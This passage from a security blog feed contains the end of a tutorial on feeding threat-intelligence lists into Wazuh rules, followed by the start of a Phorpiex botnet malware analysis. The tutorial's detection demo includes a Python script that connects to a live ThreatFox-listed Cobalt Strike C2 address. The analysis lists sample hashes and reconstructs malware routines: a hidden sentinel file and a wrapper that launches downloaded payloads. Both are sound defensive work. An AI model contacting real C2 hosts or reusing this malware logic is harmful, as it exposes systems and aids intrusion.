<h2 id="41-how-wazuh-rules-work-tree-structure-and-evaluation-order">4.1 How Wazuh Rules Work (Tree Structure and Evaluation Order)</h2>

<p>Wazuh evaluates events in three analysis phases:</p>

<ol>
  <li>Pre-decoding</li>
  <li>Decoding (fields such as <code class="language-html highlighter-rouge">src_ip</code>, <code class="language-html highlighter-rouge">dest_ip</code>, or <code class="language-html highlighter-rouge">dest_port</code> are extracted)</li>
  <li>Rule matching</li>
</ol>

<p>During the rule matching phase, rules are evaluated in a hierarchical structure.<br />
A rule can depend on another rule using <code class="language-html highlighter-rouge"><span class="nt">&lt;if_sid&gt;</span></code>, creating parent–child relationships.</p>

<p>Example:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nt">&lt;rule</span> <span class="na">id=</span><span class="s">"1257"</span> <span class="na">level=</span><span class="s">"7"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;if_group&gt;</span>suricata<span class="nt">&lt;/if_group&gt;</span>
  <span class="nt">&lt;list</span> <span class="na">field=</span><span class="s">"dest_ip"</span> <span class="na">lookup=</span><span class="s">"match_key"</span><span class="nt">&gt;</span>etc/lists/et_tor<span class="nt">&lt;/list&gt;</span>
  <span class="nt">&lt;description&gt;</span>TI hit: outbound destination IP matches ET TOR<span class="nt">&lt;/description&gt;</span>
<span class="nt">&lt;/rule&gt;</span>
</code></pre></div></div>

<p>A child rule can refine it:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nt">&lt;rule</span> <span class="na">id=</span><span class="s">"1258"</span> <span class="na">level=</span><span class="s">"0"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;if_sid&gt;</span>1257<span class="nt">&lt;/if_sid&gt;</span>
  <span class="nt">&lt;field</span> <span class="na">name=</span><span class="s">"dest_port"</span><span class="nt">&gt;</span>22067<span class="nt">&lt;/field&gt;</span>
  <span class="nt">&lt;description&gt;</span>TI hit: outbound destination IP matches ET TOR (no syncthing)<span class="nt">&lt;/description&gt;</span>
<span class="nt">&lt;/rule&gt;</span>
</code></pre></div></div>

<p>Rule <code class="language-html highlighter-rouge">1258</code> is evaluated only if rule <code class="language-html highlighter-rouge">1257</code> has already matched.</p>

<h3 id="important-behavior">Important Behavior</h3>

<p>Wazuh continues evaluating child rules after a parent match. The <strong>last matching rule in the evaluation chain determines the final alert level</strong>.</p>

<p>This means:</p>

<ul>
  <li>Rule 1257 matches → level 7</li>
  <li>Rule 1258 matches afterward → level 0</li>
  <li>Final result → level 0</li>
</ul>

<p>Because level 0 rules do not generate alerts, the event is effectively suppressed.</p>

<p>This is why noise suppression works. The child rule overrides the severity of the parent rule.</p>

<p>Understanding this evaluation order is essential when designing suppression logic.</p>

<h2 id="42-how-cdb-list-matching-works">4.2 How CDB List Matching Works</h2>

<p>The automation script produces indicators in this format:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>168.222.241.41:et_tor
</code></pre></div></div>

<p>When Wazuh starts, files in <code class="language-html highlighter-rouge">/var/ossec/etc/lists/</code> are compiled into <code class="language-html highlighter-rouge">.cdb</code> databases for fast key lookups.</p>

<p>A rule referencing a list looks like:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nt">&lt;list</span> <span class="na">field=</span><span class="s">"dest_ip"</span> <span class="na">lookup=</span><span class="s">"match_key"</span><span class="nt">&gt;</span>etc/lists/et_tor<span class="nt">&lt;/list&gt;</span>
</code></pre></div></div>

<p>This instructs Wazuh to:</p>

<ul>
  <li>Take the decoded field <code class="language-html highlighter-rouge">dest_ip</code></li>
  <li>Compare it against the key (left side of <code class="language-html highlighter-rouge">:</code>)</li>
  <li>Trigger the rule if a match is found</li>
</ul>

<p>Only the key is compared. The tag is informational.</p>

<h2 id="43-real-example-tor-alert-and-syncthing-noise">4.3 Real Example: TOR Alert and Syncthing Noise</h2>

<p>Suricata may flag traffic involving Tor exit nodes.</p>

<p>An observed alert showed:</p>

<ul>
  <li><code class="language-html highlighter-rouge">dest_ip</code>: <code class="language-html highlighter-rouge">168.222.241.41 </code></li>
  <li><code class="language-html highlighter-rouge">dest_port</code>: <code class="language-html highlighter-rouge">22067</code></li>
  <li>Metadata: <code class="language-html highlighter-rouge">ET.TorIP</code></li>
</ul>

<p>Port <code class="language-html highlighter-rouge">22067</code> is commonly used by Syncthing relay servers. Because relay infrastructure is operated by independent hosts, some of these servers may also run other services such as Tor relays or exit nodes on the same IP address. As a result, legitimate Syncthing traffic can sometimes be flagged by threat intelligence rules that track Tor infrastructure.</p>

<p>To address this, suppression rules were defined in the <a href="https://github.com/federicofantini/Wazuh-TI/blob/9302ae3f968f65e05a21b2ac6e5243510b1b40f2/wazuh-manager/var/ossec/etc/rules/local_ti_rules_linux.xml"><code class="language-html highlighter-rouge">local_ti_rules_linux.xml</code></a> file:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nt">&lt;rule</span> <span class="na">id=</span><span class="s">"1258"</span> <span class="na">level=</span><span class="s">"0"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;if_sid&gt;</span>1257<span class="nt">&lt;/if_sid&gt;</span>
  <span class="nt">&lt;field</span> <span class="na">name=</span><span class="s">"dest_port"</span><span class="nt">&gt;</span>22067<span class="nt">&lt;/field&gt;</span>
  <span class="nt">&lt;description&gt;</span>TI hit: outbound destination IP matches ET TOR (no syncthing)<span class="nt">&lt;/description&gt;</span>
<span class="nt">&lt;/rule&gt;</span>

<span class="nt">&lt;rule</span> <span class="na">id=</span><span class="s">"1265"</span> <span class="na">level=</span><span class="s">"0"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;if_sid&gt;</span>1264<span class="nt">&lt;/if_sid&gt;</span>
  <span class="nt">&lt;field</span> <span class="na">name=</span><span class="s">"src_port"</span><span class="nt">&gt;</span>22067<span class="nt">&lt;/field&gt;</span>
  <span class="nt">&lt;description&gt;</span>TI hit: source IP matches ET TOR (no syncthing)<span class="nt">&lt;/description&gt;</span>
<span class="nt">&lt;/rule&gt;</span>
</code></pre></div></div>

<p>These rules:</p>

<ul>
  <li>Only activate if the parent TOR detection rule matched</li>
  <li>Check for the Syncthing port (22067)</li>
  <li>Override the level to 0</li>
  <li>Prevent alert generation for known benign cases</li>
</ul>

<p>High-confidence TOR detections remain active, while predictable Syncthing traffic is filtered out.</p>

<h2 id="44-linux-and-windows-ti-rules">4.4 Linux and Windows TI Rules</h2>

<h3 id="linux">Linux</h3>

<p>Rules in <a href="https://github.com/federicofantini/Wazuh-TI/blob/9302ae3f968f65e05a21b2ac6e5243510b1b40f2/wazuh-manager/var/ossec/etc/rules/local_ti_rules_linux.xml"><code class="language-html highlighter-rouge">local_ti_rules_linux.xml</code></a> evaluate decoded fields such as:</p>

<ul>
  <li><code class="language-html highlighter-rouge">src_ip</code></li>
  <li><code class="language-html highlighter-rouge">dest_ip</code></li>
  <li><code class="language-html highlighter-rouge">src_port</code></li>
  <li><code class="language-html highlighter-rouge">dest_port</code></li>
</ul>

<p>They rely on Suricata network events and CDB list lookups to determine whether an IP appears in a threat intelligence feed.</p>

<h3 id="windows-sysmon">Windows (Sysmon)</h3>

<p>Rules in <a href="https://github.com/federicofantini/Wazuh-TI/blob/9302ae3f968f65e05a21b2ac6e5243510b1b40f2/wazuh-manager/var/ossec/etc/rules/local_ti_rules_windows.xml"><code class="language-html highlighter-rouge">local_ti_rules_windows.xml</code></a> operate on Sysmon network telemetry.</p>

<p>They use constructs such as:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nt">&lt;if_group&gt;</span>windows<span class="nt">&lt;/if_group&gt;</span>
<span class="nt">&lt;list</span> <span class="na">field=</span><span class="s">"win.eventdata.DestinationIp"</span> <span class="na">lookup=</span><span class="s">"match_key"</span><span class="nt">&gt;</span>etc/lists/threatview_cs_c2<span class="nt">&lt;/list&gt;</span>
</code></pre></div></div>

<p>This ensures:</p>

<ul>
  <li>Only Windows events are evaluated</li>
  <li>The destination IP is checked against TI lists</li>
  <li>Alerts are triggered only when a confirmed match occurs</li>
</ul>

<h2 id="45-telemetry-assumptions">4.5 Telemetry Assumptions</h2>

<p>This setup relies on standard Sysmon and Suricata telemetry and does not require custom decoder modifications.</p>

<p>As long as relevant fields such as <code class="language-html highlighter-rouge">src_ip</code>, <code class="language-html highlighter-rouge">dest_ip</code>, <code class="language-html highlighter-rouge">destinationIp</code>, or <code class="language-html highlighter-rouge">dest_port</code> are correctly extracted during decoding, Wazuh rules can perform deterministic CDB lookups against the indicator lists.</p>

<p>Threat intelligence detection in this setup therefore depends on accurate field extraction and well-maintained indicator lists, not on collecting additional telemetry.</p>

<h2 id="5-demonstration-end-to-end-ioc-detection">5. Demonstration: End-to-End IOC Detection</h2>

<p>To verify that the pipeline works as intended, we can observe a complete detection flow from threat intelligence ingestion to alert generation.</p>

<p>This section demonstrates a real detection scenario inside my homelab environment.</p>

<h3 id="step-1---indicator-present-in-ti-feed">Step 1 - Indicator present in TI feed</h3>

<p>After running the automation script, threat indicators from external feeds are normalized and stored inside Wazuh list files.</p>

<p>Example entry generated by the pipeline:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>root@wazuh-homelab:~# grep 8.141.93.66 /var/ossec/etc/lists/threatfox_ip
8.141.93.66:threatfox_botnet_cc_win.cobalt_strike
</code></pre></div></div>

<p><a href="https://threatfox.abuse.ch/ioc/1743796/">This indicator</a> originates from the well known ThreatFox IOC sharing platform and is included in the <code class="language-html highlighter-rouge">threatfox_ip</code> CDB list used by Wazuh rules.</p>

<h3 id="step-2---telemetry-event-observed">Step 2 - Telemetry event observed</h3>

<p>A Suricata network event is generated when a host in the homelab connects to this IP address:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>import requests

url = "http://8.141.93.66:8081/"

headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1"
}

try:
    r = requests.get(url, headers=headers, timeout=5)
    print("Status:", r.status_code)
except Exception as e:
    print("Request failed:", e)
</code></pre></div></div>

<p>Example Suricata log excerpt:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>{
  "timestamp": "2026-03-07T17:05:44",
  "event_type": "http",
  "src_ip": "HOME_HOST",
  "dest_ip": "8.141.93.66",
  "dest_port": 8081,
  "proto": "TCP",
  "http": {
    "hostname": "8.141.93.66",
    "url": "/",
    "http_method": "GET",
    "http_user_agent": "Mozilla/5.0 (X11; Linux x86_64) Chrome/121",
    "http_content_type": "text/plain"
  }
}
</code></pre></div></div>

<p>At this stage, Wazuh ingests the Suricata event and the JSON decoder extracts the relevant fields (<code class="language-html highlighter-rouge">src_ip</code>, <code class="language-html highlighter-rouge">dest_ip</code>, <code class="language-html highlighter-rouge">dest_port</code>) which are later evaluated by the rule engine.</p>

<h3 id="step-3---cdb-list-match">Step 3 - CDB list match</h3>

<p>The detection rule referencing the <code class="language-html highlighter-rouge">threatfox_ip</code> list performs a lookup against the decoded <code class="language-html highlighter-rouge">dest_ip</code> field.</p>

<p>Example rule logic:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="nt">&lt;list</span> <span class="na">field=</span><span class="s">"dest_ip"</span> <span class="na">lookup=</span><span class="s">"match_key"</span><span class="nt">&gt;</span>etc/lists/threatfox_ip<span class="nt">&lt;/list&gt;</span>
</code></pre></div></div>

<p>Since the destination IP exists in the list, the rule matches and generates an alert.</p>

<h3 id="step-4---wazuh-alert-generated">Step 4 - Wazuh alert generated</h3>

<p>The resulting alert appears in the Wazuh alerts stream with the rule ID and indicator match information.</p>

<p>Example alert JSON fields:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>{
  "timestamp": "2026-03-07T17:05:44",
  "agent": {
    "name": "fede_pc_thinkpad"
  },
  "data": {
    "event_type": "http",
    "src_ip": "HOME_HOST",
    "dest_ip": "8.141.93.66",
    "dest_port": "8081",
    "proto": "TCP",
    "http": {
      "hostname": "8.141.93.66",
      "url": "/",
      "http_user_agent": "Mozilla/5.0 (Linux x86_64) Chrome/121"
    }
  },
  "rule": {
    "id": "1253",
    "level": 16,
    "description": "TI hit: outbound destination IP matches ThreatFox IOC",
    "groups": [
      "threat_intel",
      "suricata"
    ]
  },
  "decoder": {
    "name": "json"
  }
}
</code></pre></div></div>

<h3 id="step-5---discord-notification">Step 5 - Discord notification</h3>

<p>The alert is forwarded through a custom integration to a Discord channel used to monitor the homelab.</p>

<p><img src="/blog/assets/images/wazuh/001-threatfox-discord-alert-example.png" alt="Wazuh ThreatFox Discord Alert Example" /></p>

<p>This provides immediate visibility into IOC matches without requiring continuous monitoring of the Wazuh dashboard.</p>

<p>The demonstration confirms that the full pipeline operates as expected:</p>

<p>Threat Feed → Normalization → CDB List → Telemetry Match → Wazuh Alert → Discord Notification</p>

<h2 id="6-a-practical-alternative-while-waiting-for-native-cti">6. A Practical Alternative While Waiting for Native CTI</h2>

<p>This implementation is not meant to replace a fully integrated CTI platform.</p>

<p>It is a practical approach built with the tools Wazuh already provides: CDB lists, custom rules, and structured telemetry.</p>

<p>The goal was simple: automate external threat feed ingestion and make IOC matching usable today without modifying the core platform.</p>

<p>The pipeline is straightforward. Indicators are collected, normalized, deduplicated, and compiled into CDB lists. During event analysis, extracted fields are matched against these lists through the rule engine. When a match occurs, the rule tree determines the outcome.</p>

<p>Wazuh is evolving its native <a href="https://wazuh.com/blog/introducing-wazuh-cti/">Cyber Threat Intelligence</a> capabilities, and a fully integrated CTI framework inside the platform is the right long-term direction.</p>

<p>Until then, this setup offers a practical way to operationalize external threat intelligence using the current available tools.</p>

<h2 id="7-summary">7. Summary</h2>

<div class="markmap"><script type="text/template">
# Wazuh Homelab TI Pipeline
## TI Sources
### ThreatView / Emerging Threats
### ThreatFox / AlienVault
### OpenPhish / IPsum
## Automation (update-ti-lists.sh)
### Fetch feeds
### Normalize (IPv4, domains, hashes)
### Deduplicate (key-based, last wins)
### Prune (size-bounded)
### Output: key:tag CDB format
## Wazuh Manager
### CDB lists (/var/ossec/etc/lists/)
### ossec.conf registration
### Compiled .cdb on startup
## Telemetry
### Sysmon (Windows process + network)
### Suricata (network IDS/IPS)
## Detection Rules
### CDB lookup (match_key)
### if_sid hierarchy
### Level 0 noise suppression
### Linux rules + Windows rules
## Alerting
### Wazuh alert engine
### Discord webhook
</script></div>

<h2 id="8-update">8. Update</h2>

<p>The repository has been updated several times, view the current status of the repository here: <a href="https://github.com/federicofantini/Wazuh-TI">https://github.com/federicofantini/Wazuh-TI</a>.</p>]]></content><author><name>Federico Fantini</name></author><category term="Threat-Intelligence" /><category term="Homelab" /><category term="Wazuh" /><category term="Sysmon" /><category term="Suricata" /><summary type="html"><![CDATA[INDEX 0. Introduction 1. Architecture Overview Overview of Each Component (see the diagram above): 1. TI Sources 2. Automation Layer (update-ti-lists.sh) 3. Wazuh Manager 4. Telemetry 5. Detection 6. Alerting 2. Installation 3. Automation Layer: Normalization and Deduplication 3.1 Indicator Extraction and Normalization IPv4 Extraction (from rule files and blocklists) Remove private and local IP ranges Normalize phishing URLs to domains (OpenPhish) JSON Feed Normalization (ThreatFox example) 3.2 Key-Based Deduplication 3.3 Size-Based Pruning 3.4 Why This Design Works 4. Detection Layer: How Wazuh Rules Use Threat Intelligence Lists 4.1 How Wazuh Rules Work (Tree Structure and Evaluation Order) Important Behavior 4.2 How CDB List Matching Works 4.3 Real Example: TOR Alert and Syncthing Noise 4.4 Linux and Windows TI Rules Linux Windows (Sysmon) 4.5 Telemetry Assumptions 5. Demonstration: End-to-End IOC Detection Step 1 - Indicator present in TI feed Step 2 - Telemetry event observed Step 3 - CDB list match Step 4 - Wazuh alert generated Step 5 - Discord notification 6. A Practical Alternative While Waiting for Native CTI 7. Summary 8. Update]]></summary></entry><entry><title type="html">Phorpiex malware analysis – part 1: validating MalCluster on a real family</title><link href="https://federicofantini.github.io/blog/2025/12/14/Phorpiex-part1.html" rel="alternate" type="text/html" title="Phorpiex malware analysis – part 1: validating MalCluster on a real family" /><published>2025-12-14T00:00:00+01:00</published><updated>2025-12-14T00:00:00+01:00</updated><id>https://federicofantini.github.io/blog/2025/12/14/Phorpiex-part1</id><content type="html" xml:base="https://federicofantini.github.io/blog/2025/12/14/Phorpiex-part1.html"><![CDATA[<p>INDEX</p>
<ul>
  <li><a href="#0-introduction">0. Introduction</a></li>
  <li><a href="#1-dataset-and-methodology">1. Dataset and methodology</a>
    <ul>
      <li><a href="#malcluster-in-a-sentence">MalCluster in a sentence</a></li>
      <li><a href="#parameters-used">Parameters used</a></li>
    </ul>
  </li>
  <li><a href="#2-clustering-results-zooming-in-on-cluster-1">2. Clustering results: zooming in on Cluster 1</a></li>
  <li><a href="#3-the-shared-core-three-building-blocks">3. The shared core: three building blocks</a>
    <ul>
      <li><a href="#31-sentinel-flag-file-f_check_or_create_sentinel_flag_file--0x401000">3.1 Sentinel flag file (<code class="language-html highlighter-rouge">f_check_or_create_sentinel_flag_file</code> @ <code class="language-html highlighter-rouge">0x401000</code>)</a></li>
      <li><a href="#32-process-execution-wrapper-f_execute_malware--0x401080">3.2 Process execution wrapper (f_execute_malware @ 0x401080)</a></li>
      <li><a href="#33-downloader--launcher-f_download_new_malware_and_execute--0x401120--0x401100">3.3 Downloader + launcher (f_download_new_malware_and_execute @ 0x401120 / 0x401100)</a></li>
      <li><a href="#34-winmain-orchestrator-and-beacon-0x401380">3.4 WinMain: orchestrator and beacon (0x401380)</a></li>
    </ul>
  </li>
  <li><a href="#4-what-this-says-about-code-reuse-in-this-subset">4. What this says about code reuse (in this subset)</a></li>
  <li><a href="#5-from-clustering-to-detection-and-hunting">5. From clustering to detection and hunting</a>
    <ul>
      <li><a href="#51-string-based-hunting">5.1 String-based hunting</a></li>
      <li><a href="#52-normalized-asm-for-yara--code-reuse-rules">5.2 Normalized ASM for YARA / code-reuse rules</a></li>
    </ul>
  </li>
  <li><a href="#53-prioritizing-what-to-reverse-first">5.3 Prioritizing what to reverse first</a></li>
  <li><a href="#6-limitations-and-next-steps">6. Limitations and next steps</a></li>
  <li><a href="#7-appendix-markmap-summary">7. Appendix: Markmap summary</a></li>
</ul>

<h2 id="0-introduction">0. Introduction</h2>

<p>Phorpiex (aka Trik) is a long-lived botnet used for spam, ransomware delivery, cryptomining and, in 2021 variants named Twizt, <a href="https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/">cryptocurrency clipping</a>.
Because it has been around for years and keeps evolving, it’s a good candidate to test whether code-reuse clustering can still find meaningful structure across variants.</p>

<div align="center" style="display: flex; justify-content: center; gap: 20px; flex-wrap: wrap; padding: 10px;">
  <img src="/blog/assets/videos/Phorpiex/2-home.gif" style="max-width: 100%; height: auto;" />
  <img src="/blog/assets/videos/Phorpiex/1-clusters.gif" style="max-width: 100%; height: auto;" />
</div>

<p>In this post, I’m not trying to “rediscover” the Phorpiex strain. Instead, I’d like to answer a more focused question: <em>If I throw a small set of Phorpiex samples at <a href="https://github.com/federicofantini/MalCluster">MalCluster</a>, do I get back a cluster that reflects the core of the family?</em></p>

<p>Short answer: yes, the cluster first analyzed makes sense. It recovers a very stable core consisting of:</p>
<ul>
  <li>a sentinel file used as a crude “run-once” or host-marker mechanism</li>
  <li>a downloader + executor chain that fetches and runs an updated payload</li>
  <li>a small <code class="language-html highlighter-rouge">WinMain</code> functions that wires everything together and triggers an HTTP GET to a beacon server endpoint</li>
</ul>

<hr />

<h2 id="1-dataset-and-methodology">1. Dataset and methodology</h2>

<p>I started with a small dataset of 31 samples tagged as Phorpiex/Twizt from Malware Bazaar. The goal is validating the behaviour of the clustering pipeline on a realistic family using MalCluster.</p>

<h3 id="malcluster-in-a-sentence">MalCluster in a sentence</h3>

<p><a href="https://github.com/federicofantini/MalCluster"><strong>MalCluster</strong></a> is a small clustering pipeline I wrote on top of the Malcat Python API that:</p>
<ul>
  <li>extracts printable strings and function-level disassembly via Malcat</li>
  <li>normalizes assembly instructions (registers, immediates, memory) to make them comparable across variants</li>
  <li>clusters samples using fuzzy hashes (<a href="https://ssdeep-project.github.io/ssdeep/index.html">ssdeep</a> / <a href="https://tlsh.org/">TLSH</a> / <a href="https://github.com/eciavatta/sdhash">sdhash</a>)</li>
  <li>within each cluster, uses a <a href="https://www.geeksforgeeks.org/dsa/longest-common-substring-dp-29/">longest common substring</a> over normalized assembly to find shared function bodies</li>
  <li>renders everything as a graph (samples → clusters → functions) with metadata in the tooltips</li>
</ul>

<h3 id="parameters-used">Parameters used</h3>

<p>For this experiment I used:</p>

<ul>
  <li><strong>Similarity function:</strong> <code class="language-html highlighter-rouge">ssdeep</code></li>
  <li><strong>ssdeep similarity threshold:</strong> <code class="language-html highlighter-rouge">25</code></li>
  <li><strong>LCS threshold:</strong> <code class="language-html highlighter-rouge">8</code> instructions</li>
  <li><strong>Normalization:</strong> partial normalization (not “full”)</li>
</ul>

<p>These values are intentionally a bit permissive: I’d rather over-cluster slightly and then look at whether the shared code actually makes sense, than miss legitimate reuse.</p>

<hr />

<h2 id="2-clustering-results-zooming-in-on-cluster-1">2. Clustering results: zooming in on Cluster 1</h2>

<p>MalCluster produced 4 clusters from the initial 31 samples. For this first write-up I focused on Cluster 1, which has:</p>

<ul>
  <li>4 samples (represented here by their SHA-256 hashes):
    <ul>
      <li><code class="language-html highlighter-rouge">076da5c00ce7bf0639d187938312d72ac7fd5f2d78456bc229405e0fbf001831</code></li>
      <li><code class="language-html highlighter-rouge">fa6fcf2e154c0b18b12ab86267ccd38d79cc9c27e7e261a7e9201a0a9dd9d0bb</code></li>
      <li><code class="language-html highlighter-rouge">fc16c0bf09002c93723b8ab13595db5845a50a1b6a133237ac2d148b0bb41700</code></li>
      <li><code class="language-html highlighter-rouge">ff45ac280b5b3db1f698f9b5dbacfcf14d7a574885832ce904f1f660e72bcf66</code></li>
    </ul>
  </li>
</ul>

<p>One of these (<code class="language-html highlighter-rouge">ff45...</code>) has an overlap issue in the disassembly and can’t execute correctly, so I excluded it from function-level comparison.</p>

<p>Even with that limitation, Cluster 1 was already interesting:</p>
<ul>
  <li>the strings intersection is non-trivial</li>
  <li>MalCluster found a handful of identical functions</li>
</ul>

<p>Looking at the graph view, the cluster appears as a central “cluster node” with function nodes around it; identical functions (post-normalization) are highlighted separately from “just similar” ones.</p>

<p>If the cluster was random noise, you’d expect few or no long LCS segments between functions. Here we get robust matches on the downloader, executor and sentinel logic.</p>

<hr />

<h2 id="3-the-shared-core-four-building-blocks">3. The shared core: four building blocks</h2>

<p>Across the usable samples in Cluster 1, four consistent routines stand out:</p>

<ol>
  <li>Sentinel flag file in <code class="language-html highlighter-rouge">%TEMP%</code> (<code class="language-html highlighter-rouge">0x401000</code>)</li>
  <li>Process execution wrapper (<code class="language-html highlighter-rouge">0x401080</code>)</li>
  <li>Downloader + launcher (<code class="language-html highlighter-rouge">0x401120</code> / <code class="language-html highlighter-rouge">0x401100</code>)</li>
  <li>And the <code class="language-html highlighter-rouge">WinMain</code> scaffold tying it together (<code class="language-html highlighter-rouge">0x401380</code> / <code class="language-html highlighter-rouge">0x401360</code>)</li>
</ol>

<h3 id="31-sentinel-flag-file-f_check_or_create_sentinel_flag_file--0x401000">3.1 Sentinel flag file (<code class="language-html highlighter-rouge">f_check_or_create_sentinel_flag_file</code> @ <code class="language-html highlighter-rouge">0x401000</code>)</h3>

<p>This routine implements a very simple sentinel file in <code class="language-html highlighter-rouge">%TEMP%</code> and uses it as a crude run-once / host marker.</p>

<p>Core behaviour:</p>

<ul>
  <li>Resolve <code class="language-html highlighter-rouge">%TEMP%</code> via <code class="language-html highlighter-rouge">ExpandEnvironmentStringsW(L"%temp%", ...)</code></li>
  <li>Build a hardcoded JPG path: <code class="language-html highlighter-rouge">wsprintfW(L"%s\\33573537.jpg", tempDir)</code></li>
  <li>If <code class="language-html highlighter-rouge">PathFileExistsW(sentinelPath)</code> returns true → return <code class="language-html highlighter-rouge">0</code> (already seen)</li>
  <li>Otherwise, try to <code class="language-html highlighter-rouge">CreateFileW(..., GENERIC_WRITE, ..., CREATE_NEW, FILE_ATTRIBUTE_HIDDEN, ...)</code></li>
  <li>On success, close handle and return <code class="language-html highlighter-rouge">1</code></li>
</ul>

<p>Representative pseudocode:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="kt">char</span> <span class="nf">f_check_or_create_sentinel_flag_file</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hFile</span><span class="p">;</span>
    <span class="n">WCHAR</span> <span class="n">tempDir</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span>
    <span class="n">WCHAR</span> <span class="n">sentinelPath</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span>

    <span class="n">ExpandEnvironmentStringsW</span><span class="p">(</span><span class="s">L"%temp%"</span><span class="p">,</span> <span class="n">tempDir</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
    <span class="n">wsprintfW</span><span class="p">(</span><span class="n">sentinelPath</span><span class="p">,</span> <span class="s">L"%s</span><span class="se">\\</span><span class="s">33573537.jpg"</span><span class="p">,</span> <span class="n">tempDir</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">PathFileExistsW</span><span class="p">(</span><span class="n">sentinelPath</span><span class="p">))</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>   <span class="c1">// already run on this host / profile</span>

    <span class="n">hFile</span> <span class="o">=</span> <span class="n">CreateFileW</span><span class="p">(</span>
        <span class="n">sentinelPath</span><span class="p">,</span>
        <span class="n">GENERIC_WRITE</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="nb">NULL</span><span class="p">,</span>
        <span class="n">CREATE_NEW</span><span class="p">,</span>
        <span class="n">FILE_ATTRIBUTE_HIDDEN</span><span class="p">,</span>
        <span class="nb">NULL</span>
    <span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">hFile</span> <span class="o">!=</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hFile</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Across the cluster, this logic is effectively identical. From MalClusters perspective, this function becomes a single strong node with the identical flag and a long LCS that covers the entire body.</p>

<p>Why this matters:</p>
<ul>
  <li>It’s a clear sign of code reuse.</li>
  <li>The exact sentinel name and the pattern of %TEMP% + hidden JPG can become part of a possible YARA rule or hunting query.</li>
</ul>

<h3 id="32-process-execution-wrapper-f_execute_malware--0x401080">3.2 Process execution wrapper (f_execute_malware @ 0x401080)</h3>

<p>The second routine is a small wrapper around <code class="language-html highlighter-rouge">CreateProcessW</code>, used to execute whatever path it is given (in practice, the freshly-downloaded payload).</p>

<p>Representative pseudocode:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="kt">char</span> <span class="kr">__cdecl</span> <span class="nf">f_execute_malware</span><span class="p">(</span><span class="n">LPWSTR</span> <span class="n">lpCommandLine</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
    <span class="n">STARTUPINFOW</span> <span class="n">si</span><span class="p">;</span>

    <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">));</span>
    <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pi</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">pi</span><span class="p">));</span>

    <span class="n">si</span><span class="p">.</span><span class="n">cb</span>          <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">);</span>
    <span class="n">si</span><span class="p">.</span><span class="n">dwFlags</span>     <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>  <span class="c1">// STARTF_USESHOWWINDOW</span>
    <span class="n">si</span><span class="p">.</span><span class="n">wShowWindow</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>  <span class="c1">// SW_SHOW</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">CreateProcessW</span><span class="p">(</span>
            <span class="nb">NULL</span><span class="p">,</span>
            <span class="n">lpCommandLine</span><span class="p">,</span>        <span class="c1">// path to downloaded EXE</span>
            <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span>
            <span class="n">FALSE</span><span class="p">,</span>
            <span class="mh">0x20</span><span class="p">,</span>                 <span class="c1">// NORMAL_PRIORITY_CLASS</span>
            <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span>
            <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span>
            <span class="o">&amp;</span><span class="n">pi</span><span class="p">)</span> 
